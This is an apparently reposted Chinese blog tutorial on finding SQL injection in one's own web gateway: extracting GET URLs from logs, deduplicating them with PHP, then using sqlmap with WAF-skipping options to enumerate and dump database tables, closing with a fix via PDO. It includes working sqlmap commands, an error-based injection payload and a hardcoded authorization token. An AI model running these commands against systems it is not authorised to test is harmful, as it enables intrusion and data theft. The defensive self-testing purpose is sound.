使用sqlmap查找系统sql注入漏洞

sqlmap: Detect and exploit a SQL injection

web程序上线后,一定会受到各种扫描和攻击,与其坐以待毙,不如主动利用攻击工具找到系统的问题。本次就是通过sqlmap工具找到系统的sql注入漏洞

日志处理

根据项目的访问日志,将用户网关中最近几天的所有GET请求的日志输出到文件中

cat /data/logs/logcenter/project/user-gateway/_rest/2017/09/1*/*.log |grep -v monitor|
grep 'method: GET'|awk '{print $(NF-1)}'|sort|uniq > get.log

再通过php脚本去重

$all    = file_get_contents("./get.log");
$lines  = explode("\n",$all);
$data   = array();
foreach($lines as $line){
    list($url,$param) = explode("?",$line);
    $newKey = md5($url);
    $data[$newKey] = $line;
}
$str    = "";
foreach($data as $line){
    $str .= $line."\n";
}
file_put_contents("./get_after.log",$str);

即得到所有的接口数据


使用sqlmap查找系统sql注入漏洞_第1张图片

批量扫描接口

采用BULKFILE的方式,批量扫描,如果目标有waf,可以采用tamper脚本绕过

./sqlmap.py  -m get_after.log --random-agent --skip-waf -H "AUTHORIZATION:34f39ec904ee344ca6fc4d7a0f7c83979bc235fd"

找到注入的接口


使用sqlmap查找系统sql注入漏洞_第2张图片

然后针对该接口,查询表名和字段名

./sqlmap.py  -u"xxx.com/v1/activity/distanceRankLists?
projectID=4210030291477784&activityID=4210013430375442" 
--random-agent --skip-waf -H "AUTHORIZATION:34f39ec904ee344ca6fc4d7a0f7c83979bc235fd"   -b --current-db --current-user --tables

指定表明和字段名,成功将表中字段导出

./sqlmap.py  -u"xxx.com/v1/activity/distanceRankLists?
projectID=4210030291477784&activityID=4210013430375442" 
--random-agent --skip-waf -H "AUTHORIZATION:34f39ec904ee344ca6fc4d7a0f7c83979bc235fd"   
-b --current-db --current-user -T game -C clickNum,id,createtime,updatetime,name,status --dump
使用sqlmap查找系统sql注入漏洞_第3张图片

分析

通过Wireshark抓包可以看到,sql语句没有使用pdo的方式,确实存在注入风险



error-based生成的注入语句

select count(DISTINCT(`ymd`)) as num,heroId from share 
where activityID = 4210013430375442 AND 
(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71706a6b71,(SELECT COUNT(totalLimit) 
FROM activity_online.game),0x716b717a71,0x78))s), '8446744073709551610', '8446744073709551610'))) 
group by heroID;

存在sql注入是因为在代码中手动拼接了sql,并且没有使用pdo的方式,改为使用pdo方式即可解决

你可能感兴趣的:(使用sqlmap查找系统sql注入漏洞)